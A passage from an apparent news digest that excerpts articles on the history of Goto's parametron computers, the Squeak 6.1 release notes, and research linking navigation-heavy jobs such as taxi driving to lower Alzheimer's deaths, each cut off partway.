The list of available routines and the type of calculations performed on PC-1 is in Appendix II.

Popular Culture

When many people in the first generation of computer industry and in academia in Japan got their first taste in programming on parametron-based computers, it had left its imprint on education as you can see from the number of parametron computers still displayed at many education institutes and research facilities today in Japan. (See Appendix I for such examples.).

Parametron also left a legacy or urban-legend memory on the mind of early electronics engineers.

Thus, it has even popped up in very popular comic lately.

"Dr. Stone" is a very popular Japanese comic (and turned into animation) with total circulation more than 18 million copies. (See Wikipedia: https://en.wikipedia.org/wiki/Dr._Stone )

The story is an SF-like one.: A mysterious catastrophe petrified all human beings and after a few thousand years, one of them somehow was revived to life and investigated the situation, and tried to re-create the human civilization with some partners he found.

Along the way, they had to create many instruments that one took for granted in everyday life. During the course of urban planning, the characters wished for a calculator and computer. Vacuum tubes are way off their manufacturing skill to say nothing of the semiconductors that required purified semiconductor crystals (in the SF story timeline, semiconductor would be available in 10 years' time, but the calculators are wanted NOW).

Then, parametron to the rescue (!). Ferrite cores could be manufactured by heating and pressing metal powder. Thus in the comic, 0.2 million parametron cores were going to be created using such crude method so that they could be used to create computers and calculators.

Dr stone-parametron-core-206th.JPG

The above drawing is from the 206th installment of Dr. Stone (August 2021).

   There is an enlarged image of a ferrite core in the upper left.
   Ferrite core is created by burning the powder of metal material in
   the lower left. 
   You can read the original pages from officially sanctioned sources such
   as the following (in Japanese). https://www.mangajikan.com/chapter-104565.html
   Note: The above drawing is quoted as fair use for academic purposes of the copyright material.
   (See Shueisha publishing's copyright stance (in Japanese).
   https://faq.shueisha.co.jp/faq/show/32?category_id=8&site_domain=default )

The proposer thinks there is a slight abnormality in the enlarged core shape in the drawing (upper-left). (See the enlarged photo of a rare remaining PC-1 board in Appendix VI.) Still having this comic is a great way to teach parametron existed to the youth today, and tell the general audience that the principle behind parametron is still viable as Adiabatic Quantum-Flux-Parametron (AQFP) (see "Quantum flux parametron" in Appendix III, "Parametrons in Disguise") in the 21st century.

Obstacles that needed to be overcome

The parametron, invented by Dr. Eiichi Goto in 1954, is recognized as a significant milestone in the history of logical device for electronic computing. This pioneering technology faced numerous obstacles on its path to success, spanning technical, political, and geographic challenges.

Technical Obstacles

Material Limitations

During the early 1950s, the materials available for electronic components were limited. The parametron, which relied on the parametric excitation of non-linear inductance to achieve switching, required high-quality inductors and capacitors. The scarcity of high-quality materials and the limitations in manufacturing technology posed significant challenges. Achieving the necessary precision and reliability in component fabrication was a major hurdle.

As Goto mentioned later, he was lucky to use the right ferrous material as far as the ferrite core, the essential part of his parametron device, was concerned. He picked up a ferrite core very suited to parametron in his first experiment. Had he not used the particular material, the search for the right material alone may take a couple of years, thus missing the opportunity to fill in the gap between vacuum tube and transistor with very reliable parametron device.

Design Complexity

The initial physical design of parametron was intricate and required a deep understanding of non-linear dynamics and resonance phenomena. Goto analyzed the parametric oscillation by modeling the excitation using so called Mathieu's differential equation [9]. This complexity made the design and construction of practical parametron circuits challenging. Researchers had to overcome the difficulties of designing circuits that could maintain stability and reliability under varying operational conditions.

But, once the physical circuit was designed properly with well selected proper material, parametrons performed very reliably.

This was the key reason the stored-program computer built at a university laboratory, PC-1, operated so successfully without any dedicated operator. Serious breakdown of the PC-1 computer did not occur often, The graduate students and the researchers there helped the external science researchers who ran long-running computer programs. Programs could run for a few hours unattended on PC-1, which was a feat in itself in its time.

Another key challenge in parametron design was its reliance on majority logic, which differed significantly from the binary Boolean logic prevalent in electric/electronic circuit design at the time and today. Boolean algebra, designed for binary AND, OR, and NOT operations, was inadequate for majority logic circuits.

To address this, Goto and Takahasi developed a novel approach to majority logic for Parametron-based designs.

First, they introduced a graphical representation to visualize the majority logic employed in Parametron circuits, making the interaction of majority logic more visible. The interested readers are invited to read the Goto's seminal paper where the notation is explained.[9] It is a very interesting exercise to implement various logical operations using majority rule logic of parametron. A few examples are given (taken from [14]).

Boolean-logic-by-parametron-and-full-adder.JPG

Figure - Majority rule circuit representation of Parametron

   A circle stands for one parametron element.  It can accept
   multiple input signals.
   The +/- in the circle indicates an input signal that is constantly
   set either to 1 (+), or 0 (-).
   The bar in the connection line stands for negation. In parametron,
   negation does not need a logic element. Reversing the direction
   of winding through the ferrite core achieves that.

The upper left is a Boolean AND operation. Since there is a constant 0 input (note the "-" in the circle), only when two other inputs are both 1s, the majority rule produces output 1, thus implementing Boolean AND operation.

The example at the middle in the left is boolean OR operation. Since there is a constant 1 input (note the "+" in the circle), if at least one of x or y is 1, the majority rule produces one as output, thus implementing Boolean OR operation.

The lower right is a full adder. x is a carry from the addition of lower binary digits. The circuit produces the sum, 's', of x, y, and z, and produces 'c', carry, that is needed to pass to the next higher bit calculation.

Building on this, they systematically analyzed all possible four-input majority logic configurations [13], optimizing circuits to achieve desired outputs.

Their breakthrough was the classification of majority logic circuits into self-dual equivalence classes, which groups equivalent functions to reduce design complexity ([6], “Some Theorems Useful in Threshold Logic for Enumerating Boolean Functions,” E. Goto, H. Takahasi, IFIP Congress, 1962; see also “Classification of Ternary Logic Functions by Self-Dual Equivalence Classes,” T. Soma, T. Soma, 41st IEEE International Symposium on Multiple-Valued Logic, 2011. The latter is an extension of parametron to use three valued logic, using three different phases instead of two).

This classification provided critical insights for designing logic circuits using Parametrons and other threshold logic devices. It remains relevant today, enabling efficient designs for quantum flux parametron (QFP) and its adiabatic version, AQFP, which have gained significant attention, as discussed in the “Features” section.

Thermal Management

The operation of the parametron at fast speed involved significant energy dissipation, leading to heating issues. (See Appendix VI for detailed discussion of heat dissipation, etc. for electronically inclined.) Effective thermal management was crucial to ensure the longevity and reliability of the Parametron circuits. Designing cooling mechanisms and optimizing the thermal performance of components were critical technical challenges.

In the case of the PC-1 computer mentioned in this submission, it did not push the speed limit much. Thus, this computer at the University of Tokyo, employing approximately 4200 parametrons did not suffer from catastrophic heat failure although it did not have an active cooling mechanism (except for fans).

According to a memoir by Keisuke Nakagawa (in "パラメトロン計算機 PC-1 1958-2008 パラメトロン計算機記念会,", Parametron computer PC-1 1958-2008" by Parametron computer anniversary committee in Japanese, https://www.iijlab.net/~ew/pc1/pc150th.pdf), who was a graduate student at Takahasi laboratory where PC-1 was placed, PC-1 was used as follows.

   "PC-1 came to be used by researchers of the Faculty of Science for
   their research. The computer time was made available even during
   night hours. PC-1, despite the meager 512 words storage (one word
   was 18 bits), allowed scientists to do variety of computations in
   many fields.  PC-1 operated in a room without a special air
   conditioner for it. People opened windows during summer, but
   closed the windows with steam central heating running during
   winter.  But PC-1 kept running demonstrating parametron's
   stability to the world.  However, if PC-1 showed flaky behavior,
   available graduate students followed the predefined recover steps
   so that PC-1 ran again." (in submitter's translated summary from
   the original Japanese).
   

Mr. Nakagawa was a graduate student back then.

Integration with Existing Technology

The Parametron was a novel technology that needed to be integrated with existing computing systems and peripherals. Ensuring compatibility with the infrastructure of the time, including input/output devices and memory systems, required innovative solutions. Researchers had to bridge the gap between the new Parametron technology and the established electronic computing landscape.

These are the issues any new logic device technology faces, so not a particular obstacle specific to parametrons.

PC-1 computer that was built with parametron was connected to a paper tape reader, and teletype writer device and so the interfaces with simple I/O devices were available.

Main memory was developed specifically for PC-1, namely the AC-drive core memory system that produced its output (1/0) in terms of oscillating signal which was very friendly to parametron that could accept such input directly.

Miniaturization

Early electronic components were bulky, and miniaturizing the parametron circuits was a daunting task. Reducing the size of the parametron while maintaining its functionality and performance required advancements in component design and fabrication techniques. This miniaturization was essential for making the parametron commercially viable and practical for real-world applications.

Binocular type parametron core mentioned in the Historical impact section was an effort for the initial miniaturization path.

Unfortunately, obviously, in the long run, there was no chance for ferrite core parametron to compete with the transistor in the miniaturization race.

However, later in the 1990s, miniaturized superconducting device was used to create a parametron-like behavior, and is a very hot topic now that the low-power consumption of AQFP attracts attention in SDGs age. (https://en.wikipedia.org/wiki/Quantum_flux_parametron, Adiabatic Quantum-Flux-Parametron: A Tutorial Review https://www.jstage.jst.go.jp/article/transele/E105.C/6/E105.C_2021SEP0003/_pdf/-char/en

Political Obstacles

Cold War Era: The development of the Parametron occurred during the Cold War, a period marked by intense geopolitical tensions between the Eastern and Western blocs. This political climate influenced research priorities and funding allocation. Gaining support and resources for parametron research in Japan, which was rebuilding its economy and technology sector after World War II, was a significant challenge.

Funding and Resources

Securing funding for innovative research was a constant struggle in post-war Japan. Government and institutional support were limited, and researchers often had to rely on private industry partnerships and international collaborations. Convincing stakeholders of the potential benefits and applications of the Parametron required substantial effort and persuasion.

In [7] ("Some Important Computers of Japanese Design", IEEE Annals of the History of Computing, Vol.2, No.4, pp. 330-337. Oct.-Dec. 1980), Professor Hidetosi Takahasi remarked in its abstract to describe the era thusly.:

   "we were on the verge of starvation in the ruin of our defeated
   country", ... "We were starved for knowledge as well as for food".

Such was the atmosphere of post-war Japan when parametron was invented.

Goto himself and the laboratory of Professor Takahasi back then was lucky to obtain a few big corporate backing after initial report of Goto on the principle and experimental result of parametron device caught the eyes and ears of the people of a big research laboratory, Musasino Laboratory of NTT, a large telephone operator Kokusai Denden (KDD, precursor of today's KDDI), and others. This backing helped parametron take off.

Still the budget was small in comparison, say to MIT's: Goto mentioned the following in a magazine interview (in Japanese). The following English translation by the submitter is an excerpt from the interview in Japanese.: https://ascii.jp/elem/000/001/221/1221954/3/

   ——How was the reaction to the PC-1 parametron computer?
   “It wasn't that big a deal. *1 Overseas, there were already things
   like ENIAC and EDSAC ten years earlier. Also, the processing speed
   of the parametron was slower than that of transistor
   computers. The clock speed of transistor computers was 1
   megahertz, whereas the parametron computer was at most 10 to 30
   kilohertz.
   
   Much later, I became friends with McCarthy from MIT, and he told
   me, “The parametron is an interesting idea, but why did you make
   such a slow element?”  He could say that out of ignorance, but
   our budget was only about one thousandth of MIT's *2. But I did feel
   a sense of achievement in having made computers available at the
   university at that time. Even though it only had 256 words of
   memory, lots of people came to use it. There weren't any other
   computers around at the time.
   
   *1: The submitter thinks Goto underrated PC-1 much as its creator
   because of his modesty and because he was too aware of the speed
   issue. As he mentioned, PC-1 became immensely popular among the
   academic researchers, and many commercial entities adopted
   parametron to create very successful commercial computers. In
   Goto's mind as its leader to build PC-1, the computer may not have
   had that much impact, but others and commercial enterprises in
   Japan of that era had a very different opinion.
   
   *2: Obviously, Goto referred to the budget of similar computer
   project, NOT the entire MIT budget.

Many private companies adopted parametron to build computers and calculators soon. Some models sold very well in the era. (See the list in Appendix I).

Also, after parametron became famous, a non-profit organization OUTSIDE the University of Tokyo was established to handle the funding and intellectual property issues, which lead to the next item.

Intellectual Property and Collaboration

Navigating intellectual property rights and fostering collaboration with international researchers were political challenges. The exchange of knowledge and technology between countries was often hindered by political considerations and restrictions. Establishing frameworks for collaboration and ensuring the protection of intellectual property were critical for advancing Parametron research.

Because the significance of parametron was so clear to the early adopters, they began helping Goto patent the inventions. To proceed with international patenting, an outside NPO called Parametron Research Laboratory (tentative English translation) was formed in Mar 8, 1957 (The birth of a computer, 1971 [13]) and the intellectual property matters were handled by this entity after that, freeing Goto, Takahasi and others at the University so that they could focus on technical inventions at hand.

Two US patents for Goto's parametron were granted.: US Patent 2,948,818 [P1] and [P2] US Patent 2.948,819. They were initially turned down with a comment, "it does not operate". ([13] p.82]). A US company, NCR licensed the patents eventually but did not produce anything after about a year and its interest seemed to have disappeared. It was too late, in a sense, since the transistors became more robust, and parametron's advantage was disappearing very fast.

Goto's mentor, Professor Takahasi wrote the following in 1971 [13] (in submitter's English summary). This is a food for thought for today's inventors/researchers.

   "Fearing the publication of the technology might invalidate the
   patent applications, we took the hush hush approach, not
   publishing the new technical results any longer. But with
   hindsight, it may have been better to adopt a more open approach
   to share technology even its current problems, with other parties
   early. Then the technology might have been used wider (Proposer's
   comment: outside Japan, too, implicitly) and problems may have
   gotten solved with more inputs from many parties.  I think this
   approach might have worked better for parametron."
   

Geographic Obstacles

Research Infrastructure

Japan's research infrastructure was still recovering from the devastation of World War II. Establishing well-equipped laboratories and securing access to advanced research facilities were significant geographic challenges. Researchers had to overcome the limitations of the existing infrastructure and build new capabilities from the ground up.

Although Takahasi lab was hardly a rich laboratory back when parametron was invented, it enjoyed a better than average status because the University of Tokyo was the largest nation-run university of that time.

Access to Global Knowledge

Geographic isolation posed challenges in accessing the latest research and technological advancements from other parts of the world. Japanese researchers had to find ways to stay informed about global developments in electronic computing and incorporate this knowledge into their work. Building networks and establishing communication channels with international researchers were essential for overcoming this obstacle.

The following anecdote may seem outlandish to readers in the 21st century. However, Professor Takahasi (and people in other field such as physics, etc. of that time for that matter) mentioned that he learned of transistor and other technical discoveries in the world, via magazines made available at a library established by an occupying forces stationed in post-war Japan. University libraries were not functional at all back then.

There was a library in Hibiya, Tokyo, established by the general headquarters of the occupying force in post-war Japan and that was the place to go to read the latest American magazines including technology/science ones. CIE Information Center Library was it. So being in Tokyo, the capital of Tokyo was important. (There were similar CIE libraries in other parts of Japan, but Tokyo's Hibiya one seemed to have been largest. https://ja.wikipedia.org/wiki/CIE%E5%9B%B3%E6%9B%B8%E9%A4%A8) Takahasi, Goto and others seemed to have learned of the EDSAC computer which they seemed to have studied extensively before the construction of PC-1 from learning about it through reading at this library in Hibiya. The library no longer exists.

Goto himself did not leave much about his study style in writing and the submitter could not learn much about WHERE he obtained knowledge. His research style, though, was to think hard about a topic himself very much and arrive at a solution or two, or even more before seeing other people's previous work.

Market Acceptance

Introducing a novel technology like the parametron to the global market requires overcoming geographic barriers. Domestic market in Japan accepted parametron very quickly and produced computers based on it. Some of them (NEAC-1201 and NEAC-1210) sold more than 700-800 units, which was a big number for computer sales at the time. (See Appendix I - "Detailed list of commercial Parametron computers")

Convincing international markets of the parametron's advantages and securing adoption outside Japan involved addressing cultural and logistical challenges. Establishing distribution channels and support networks in different regions were crucial for the parametron's success.

That NCR in U.S.A. licensed Goto's parametron patents was a testament to the advantage of the parametron device at the time. Whether there was a strong support network to help NCR proceed is now a question of historical interest. There was no internet, no e-mail, no international fax.

There is anecdotal evidence that European companies also monitored parametron development. But it is only in one person's memoir of parametron. ("TOYOTA and parametron electronic computer FACOM 202", Yoshihiro Ishibashi, available online at: https://www.toyotariken.jp/_/media/page/about/research-report/pdf/Toyota-Report_No.77_62.pdf) Submitter's translation of the relevant paragraph follows.:

   --- Yoshihiro Ishibashi's recollection 
   
   The author's specialty is “ferroelectric properties”, and when
   talking with foreign researchers who have the same specialty, the
   topic sometimes turns to graduate school days. When the parametron
   is mentioned in such a situation, of course it is passed over with
   “what's that?”, but there was one occasion when I got a
   reasonable response. It was from a British researcher of the same
   age, and therefore someone who knew about the situation with
   computers in the 1960s, who said, “I know about the
   parametron. Thomson (France) studied it, but it didn't work, did
   it? Did you really make a computer using parametron in Japan?” It
   seems that parametrons were not completely ignored in Europe. It
   didn't mean much, but it made me feel happy somehow.
   
   Note: Yoshihiro Ishibashi was a graduate student in 1958 and
   studied under the supervision of Eiichi Goto. He was still a
   graduate student when he gave a talk at the programming seminar
   hosted by Japan Physics Society using PC-1 in 1959.

These technical, political, and geographic obstacles were significant, but the dedication and ingenuity of Dr. Eiichi Goto and his team led to the successful development and implementation of the parametron. Their achievements laid the groundwork for future advancements in electronic computing in Japan and demonstrated the resilience and innovation of the scientific community in overcoming complex challenges.

Features that set this work apart from similar achievements

Features that set this work apart from similar achievements

Comparison with Other Methods

In the following, we compare the parametron with vacuum tube, electromechanical relay, and transistor types of the 1950s:

Please note that advantage and disadvantage of parametron such as speed, power consumption, etc. are discussed in the relationship with other devices in the following. For example, the power consumption of PC-1 *WAS* huge in comparison to today's power efficient computers, but was definitely smaller RELATIVE to the vacuum tube computers. PC-1 computer's power consumption was 3KVA as shown in table-1.

Pros

(a) The price is significantly lower compared to vacuum tubes (and more so than transistors).

(b) Compared to relays, it can operate at higher speeds.

(c) It is more stable

The Daily Front Page 14 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Smalltalk Still Squeaks
article

Squeak 6.1

by fniephaus·▲ 260 points·125 comments·squeak.org ↗
As Squeak approaches its 30th anniversary, we are proud to announce the next version.

These release notes are optimized for viewing inside Squeak, as they contain a lot of interactive examples. On this page, interactive links open in SqueakJS, which is a browser-based Smalltalk VM with some limitations. For the best experience, download Squeak and read the release notes there.

Download Squeak Try it in browser (SqueakJS)

Squeak 6.1 "Vanessa" Release Notes

As Squeak approaches its 30th anniversary, we are proud to announce the next version of the system, Squeak 6.1. Some highlights of this release are:

  • A new tree browser, which enables navigation through classes and categories using refurbished hierarchical morphs,
  • The return of Objectland (also known as the "Worlds of Squeak"),
  • Several changes and fixes for the kernel infrastructure for simulating, unwinding, and scheduling processes and reshaping classes,
  • Miscellaneous improvements and additions to the toolset and user interface for inspecting, debugging, profiling, and versioning code.

Please find below a detailed listing of all the changes, which includes notes on Major Deprecations, Known Issues, and Compatibility Notes at the bottom.

About these release notes. Phew, what a release! Since the last release 4 years ago, we have merged 1700+ patches with 9000+ method changes. Beyond documenting technical changes in detail, these notes highlight the bigger picture and the overall impact of major developments. Along the way, you will find plenty of links to code pointers and interactive examples. Thus, these release notes serve not only as a changelog but also as a hands-on guide to exploring new features and mechanisms in Squeak. Click here to view an outline of this document.

In memory of Vanessa Freudenberg (1972-2025).

Detailed Improvements in Language, Tools, and the Environment

GUI Frameworks

Morphic (up to Morphic-ct.2218/MorphicTests-ct.97)

  • Major overhaul of tree morphs:
    • Improves colors and mouse and keyboard shortcuts for navigating trees.
    • Revises type-to-filter similar to lists, highlights search terms, and enables searching single columns via [TAB]. Adds a configurable filter mode to search within the current selection, all visible nodes, or the entire tree.
    • Introduces a recursive "find"/"find again" feature available via [CMD] + [F]/[CMD] + [G].
    • Adds a flag for automatic expansion of trees.
    • Improves support for drag'n'drop by automatically expanding nodes during dragging after one second of hovering.
    • Miscellaneous stability and performance improvements for layouting, rendering, and event handling in trees.
  • In the world, supports dropping of class references, system and method categories, and inspector and explorer fields to display them in a new window/widget.
  • For mouse interactions, adds new preferences to customize the double-click time and drag thresholds.
  • In the docking bar window menu, adds an item to collapse windows. Makes "find workspace" easier to use by expanding the selected window if collapsed. Reorders and decorates items in the help menu.
  • Text editors:
    • Underlines links during hovering and makes clicking and text selection through them more convenient.
    • When enclosing/unenclosing a selection in single/double quotes, nested quotes are now automatically escaped/unescaped.
  • Morphic API: Allows morphs to opt out of individual halo events and to specify a balloon text via a block instead of a selector.
  • Menu construction:
    • Adds new utilities for adding item groups and temporarily switching action targets during construction.
    • #addList: now interprets backslashes in help tuples as line breaks.
    • Automatically trims trailing lines between menu items.
  • Revises the debug menus of several morphs by adding a time-profiler shortcut for buttons, providing access to the list and tree contents, and making existing "browse action" and "debug action" commands faster and more reliable.
  • Honors the preference "Open Tools Attached to Mouse Cursor" in Morph>>openAsTool.
  • Lots of UI tweaks and stability improvements:
    • Improves theme support for progress bars, text morph menus, and dialog windows.
    • Improves high-DPI support for buttons, scroll panes, sliders, menus, multi-selection lists, trees, drop-shadows, the scratch pad, the keyboard exerciser, and others.
    • Improves multilingual support in different places.
    • Fixes slips regarding the world display depth menu, clock configuration changes, search-bar print-its, project view morph styling, and transcript counting.
    • Fixes an issue when profiling code where user events were swallowed.
    • Several layouting fixes regarding proportional layouts, text morphs, scroll panes, and transformation morphs.
    • Fixes rendering issues with transform morphs, polygons, multi-selection lists, and trees.
    • Fixes scrolling in nested scroll panes.
    • In text morphs, improves stability of text selection and tweaks indentation regarding empty and blank lines.
    • Fixes "browse senders" of true, false, and nil, adds missing access to workspace bindings during accept-its, and improves robustness of editor history.
    • Fixes bugs in construction of text containers and conversion of paragraphs to texts.
    • In lists, fixes automatic selection before dragging an item.
    • Fixes incorrect yellow-button menu invocation on buttons and lists.
    • Fixes a bug during menu construction, which depended on uninitialized state.
    • Fixes scaling of color forms.
    • Fixes introspection of event handlers in morph meta-menus.
    • Improves compatibility between old and new balloon morphs.
    • Fixes a remarkable slip that (1) prevented collapsed windows from applying a new UI theme and (2) introduced a possibly significant memory leak of windows.
    • Fixes an issue on macOS where calling the VM with additional command line arguments or plugging in external devices led to an incorrect "The VM is configured as a singleton application" warning.
    • Improves stability and backward compatibility when loading morphs from files.
    • Fixes cross-compatibility and concurrency issues with MVC.
    • Improves reliability of halos.
  • Improves performance of large tree widgets, transformation morphs, and animated GIFs.
  • Miscellaneous clean-ups and documentation improvements for input events, editor attributes, and others.

MorphicExtras (up to MorphicExtras-ct.360)

  • Introduces Objectland, which is a reconstruction of the famous "Worlds of Squeak" from 2003 and offers a colorful collection of examples that demonstrate the multifarious capabilities of Squeak. Re-adds the classic Etoys race car example and adds several new examples.
  • After 18 years of spotless, clean Squeak, reintroduces and updates the famous BlobMorph.
  • For webcams, adds a mirror option and extends interface for double-buffering. Improves UI and stability of webcam morph.
  • Improves instrument menu of score players.
  • Fixes the "preserve trash" preference and improves the robustness of the piano keyboard.
  • Improves high-DPI support for the objects tool, several of its tools such as event recorders, score players, recording controls, and piano keyboards, and several EToys-related morphs.

Etoys (up to EToys-ct.532)

  • Restores and revises a tutorial on painting and creating scripts in Etoys.
  • Adds an undo button to FreeCell.
  • Improves state indication in Tetris.
  • Improves instrument menu of the midi input morph.
  • Improves robustness of the players gallery, the spectrum analyzer, and the midi input morph. Fixes changing the heading of a player.
  • Clean-ups and fixes for cards and stacks.
  • Improves high-DPI support for Etoys icons, tile morphs and script editors, all games, the objects tool, the spectrum analyzer, file lists, watches, and calendars.
  • Minor speedups for Kedama and players.
  • Several clean-ups and refactorings that improve overall modularity and avoid unintended dependencies of other packages on Etoys.

ST80 (up to ST80-mt.311)

  • Adds a close item to the world menu.
  • Improves high-DPI support for system views.
  • Adds View>>imageForm for taking a screenshot of a view and displays it in inspectors.
  • Adds editor shortcut [CMD] + [SHIFT] + [D] for "debug it" (already exists in Morphic).
  • Miscellaneous fixes and stability improvements:
    • Ensures confirmation dialog before closing the current MVC project.
    • Prevents unexpected author-initials dialog when opening the ST80 world menu for the first time.
    • Avoids an issue with stale deferred actions in an empty MVC world, which caused emergency debuggers to appear only after pressing a mouse button.
    • In text editors, fixes pretty-printing and spawning if no compatible model is available. Gently handles nil selection provided by the model. Fixes an issue with recently introduced keyboard shortcuts.
    • Repairs folder choosers.

CommandLine (up to CommandLine-eem.27)

  • Repairs the preference "Save snapshot of image on failure".
  • Improves UIManager support for various file dialogs, font dialogs, confirmations, and requests.
  • For interactive dialog requests, improves the error message before quitting.

Programming & Tools

Tools (up to Tools-mt.1366/ToolsTests-ct.137)

  • Introduces a new tree browser, which displays system categories, classes, and message categories in hierarchical panes and integrates Monticello packages. There are also five new preferences for configuring its appearance.
    • Reworks drag'n'drop for tree browsers and traditional browsers to support all meaningful combinations of panes for copying or moving classes, methods, and categories.
    • Adds double-click support for hierarchy tree browsers to switch the central class. This is especially fun for multi-inheritance hierarchies with traits.
    • In the class pane menu, adds new items for generating a new class or trait.
    • In the message category menu, adds items to browse all related message categories in the system.
    • In the annotation pane of class definitions, adds a shortcut for reading the full class comment.
    • Simplifies extension point for custom browsers to register as hierarchy browsers.
    • Improves multi-environment support for all kinds of browsers and message sets.
  • In the Message Names tool, shows the definition, comment, and hierarchy for class results.
  • Extends inspector support for custom fields:
    • Allows objects to contribute custom inspector fields and menu items.
    • Adds new meta (shift) menu to inspect fields or browse/debug their accessors.
    • Adds InspectorField>>#printBlock: for customizing the representation of a field independently of its underlying (inspectable) value.
  • When inspecting large collections, allows disabling truncation to show all elements.
  • Makes inspection and debugging of transparent proxy objects and unhashable objects more reliable by avoiding sending them any messages, to which they might react slowly or catastrophically.
  • Debuggers:
    • Adds "send until…" command to precisely search for a condition in nested message sends.
    • Improves "run to here command to reach expressions in blocks.
    • Improves error handling for invalid run until/send until expressions. For "return entered value", uses the proper evaluatorClass of the receiver.
    • To the stack list menu, adds "select home" option for finding the home contexts of (possibly deeply nested) blocks.
    • Makes the signaled exception and suspended process accessible in the debugger when no context frame is selected.
    • Adds a byteCodes mode to the debugger to view and step through the single VM instructions of a method. Adds a new "simulate" button to debug how Squeak's metacircular evaluator (aka context simulator) interprets the next bytecode. The new mode is reachable through the window menu > "what to show…", or, when extra debugger buttons are enabled, through the "source" button above the code pane.
    • Miscellaneous clean-ups and improvements for customizing inspector classes.
  • Welcomes AndreasSystemProfiler in the trunk, which was previously hosted in the VMMaker repository. Improves report format, robustness for tallying primitives, and documentation.
  • In workspaces, adds a "load contents from file…" option to the window menu.
  • Improvements to change recovery: Improves parsing of class definitions, method removals, recategorizations, and more. Adds and revises menu items to select all changes of a given type or filter for changes to the currently selected type or selector.
  • Adds utilities Process>>#browse and Context>>#tempNamed:[put:].
  • Adds file services for viewing compressed csz and stz archives.
  • In truncated file lists, inserts a link for reading the entire file.
  • Improves layout of code-point browsers for single-byte text-converters.
  • Miscellaneous UI improvements and bug fixes:
    • Fixes shortcut inconsistency in single-category browsers.
    • Improves robustness in browsers when defining traits.
    • Fixes a slip in hierarchy browsers that spawned a new redundant browser when redefining the selected class.
    • Fixes package pane browser to actually use the package organizer instead of parsing the system category list. If no category is selected, shows all classes from the package.
    • Deduplicate
The Daily Front Page 15 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — The Brain’s Street Map
article

Taxi drivers rarely die of Alzheimer's

by jader201·▲ 373 points·273 comments·theconversation.com ↗
Taxi and ambulance drivers are less likely than workers in almost any other job to die of Alzheimer’s disease.

Figuring out a circuitous route between point A to point B can strengthen your brain. justhavealook/iStock via Getty Images Plus

Taxi and ambulance drivers are less likely than workers in almost any other job to die of Alzheimer’s disease. That was the surprising result of a 2024 study examining the death certificates of nearly 9 million people in the U.S.

These findings stopped me in my tracks because those two jobs rely on the same thing as my own work: maps.

I have spent more than two decades staring at maps. Not paper maps on a wall, but digital ones with multiple layers: flood boundaries draped over census blocks, car crash hot spots plotted against road geometry, and satellite readings of rainfall stitched across river basins. Much of my work as a civil and environmental engineer is done through GIS – that is, geographic information systems. Engineers like me hold several spatial relationships in their minds at once, reasoning about where things sit relative to one another across scales ranging from a city block to a whole watershed.

I always assumed that spatial reasoning across map layers was purely professional. But that study on taxi and ambulance drivers made me wonder whether all that mental work might be doing something good to the brain.

Taxi driver brains

Of the 9 million death certificates from January 2020 to December 2022 that researchers examined, taxi and ambulance drivers had the lowest risk of dying from Alzheimer’s disease out of 443 occupations. After adjusting for age, sex, race, ethnicity and education, roughly 1 in 100 taxi and ambulance drivers died of Alzheimer’s, compared with 1 in 60 people overall.

This pattern did not extend to other driving jobs. The researchers concluded that the key to reducing the risk of Alzheimer’s was not driving itself but continuous real-time navigation: the constant work of locating yourself in space, tracking a destination and updating a mental map as conditions change. Drivers whose jobs relied on fixed or predetermined routes, like bus drivers and aircraft pilots, didn’t seem to experience a similar advantage.

Researchers believe the association between navigation-heavy work and lower Alzheimer’s risk centers on the hippocampus, a part of the brain that governs memory and spatial navigation. It’s one of the first brain regions that Alzheimer’s damages: Problems with spatial navigation and orientation are among the earliest signs of the disease, sometimes surfacing before obvious memory loss.

In one landmark 2000 study, neuroscientists compared the brains of licensed London taxi drivers with those of people who did not drive cabs. Their findings provided the first evidence via structural imaging that regions of the adult brain can measurably change under sustained navigational demand. To earn a license, London cabbies must memorize more than 25,000 streets within a 6-mile radius of Charing Cross, a challenge known as “The Knowledge” that takes three to four years.

Can you memorize 25,000 streets and how to navigate them?

The researchers found that London taxi drivers had measurably more gray matter in the posterior hippocampus, a brain area tied to storing large-scale spatial maps. That volume tracked with experience: The longer someone had driven, the larger that part of the brain. The change was built through practice, not inherited. While people who are good at navigation might gravitate to this kind of job, the job itself does have an impact on the brain.

Together, these two studies make a coherent case: Work that intensively exercises the hippocampus may reshape it, and that reshaping may protect against one of the most feared diseases of aging.

Where map specialists fit in

Cartographers, urban planners and geospatial analysts spend their working days in sustained spatial reasoning. A geographic information system specialist might use a computer to overlap population data on flood exposure maps to find who is at risk, or read satellite imagery to map land cover after a wildfire. Researchers juggle several layers of data, coordinate systems and scales at once.

Does spatial reasoning through a screen engage the hippocampus the way moving through a real city does?

While a taxi driver navigates from inside the scene at street level, GIS researchers picture space from above as a map – what cognitive scientists call allocentric reasoning. But these two perspectives overlap in the brain: The hippocampus also builds maps from outside viewpoints, not just from a navigator’s own position.

Research on cognitive maps points toward the same conclusion as the study on taxi drivers. In 2023, researchers ran a machine learning model on more than 22,500 people in a national dataset and were able to predict which ZIP codes had higher rates of Alzheimer’s with 84% accuracy based on how complex the environment was. Those living in spatially complex surroundings – the kind that force active map building, such as dense street networks with numerous intersections, diverse points of interest and landmarks, and multiple path options – were less likely to develop Alzheimer’s.

Crowd of people filling a busy metro station

Living in spatially complex places challenges your brain. fhm/Moment via Getty Images

A follow-up study tied geospatial complexity in one’s environment to greater volume in the brain’s spatial navigation regions. The researchers hypothesized that routinely building cognitive maps exercises the very circuitry that Alzheimer’s attacks first. Repeatedly engaging the cognitive systems involved in spatial navigation could help delay symptoms of disease.

However, these two studies focus on where people live, not the work people do. Whether spatial reasoning through a screen exercises the same circuitry as real-life city navigation remains untested.

Protecting your brain

The implications of whether sustained spatial reasoning protects the brain reach beyond mapmakers and cab drivers. Studies have repeatedly found a link between mentally complex occupations and delayed cognitive decline and lower dementia risk, even after accounting for education.

Research on cognitive reserve – the brain’s capacity to continue functioning despite disease – can help explain why two people with a similar disease burden can show markedly different levels of cognitive impairment. If demanding spatial thinking protects the brain, then how societies design schooling, professional training and retirement all become questions of brain health.

Spatial reasoning can be trained, and training opportunities are already widespread. GIS and remote sensing instruction are available through geography, engineering, public health and environmental science programs worldwide.

If sustained engagement with spatial reasoning can help the brain strengthen the circuitry that Alzheimer’s attacks first, its value reaches well beyond the technical skills it builds.

The Daily Front Page 16 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Names Upon the Water
article

50k Boat Names

by jonathanmkeegan·▲ 174 points·108 comments·beautifulpublicdata.com ↗
